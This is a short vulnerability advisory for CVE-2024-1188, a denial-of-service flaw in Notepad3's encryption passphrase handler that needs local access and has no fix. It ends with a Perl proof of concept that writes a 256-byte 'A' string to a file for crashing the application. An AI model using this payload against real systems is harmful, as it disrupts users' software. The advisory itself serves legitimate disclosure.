Improper Resource Shutdown or Release Affecting rizonesoft/Notepad3 package, versions [1.0.2.350,]
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- published8 Feb 2024
- disclosed2 Feb 2024
- creditFernando Mengali
Introduced: 2 Feb 2024
CVE-2024-1188 (opens in a new tab)How to fix?
There is no fixed version for rizonesoft/Notepad3.
Overview
Affected versions of this package are vulnerable to Improper Resource Shutdown or Release via the Encryption Passphrase Handler component. An attacker can disrupt normal operations by manipulating the process to trigger a service interruption.
Note:
This is only exploitable if the attacker has local access to the system.
PoC
#!/usr/bin/perl
my $exploit = "A" x 256;
eval {
open(my $f, '>', 'exp.txt') or die "Cannot open file: $!";
print "[+] Creating " . length($exploit) . " bytes.\n";
print $f $exploit;
close $f;
print "[+] Exploit file created!\n";
};
if ($@) {
print "File cannot be created.\n";
}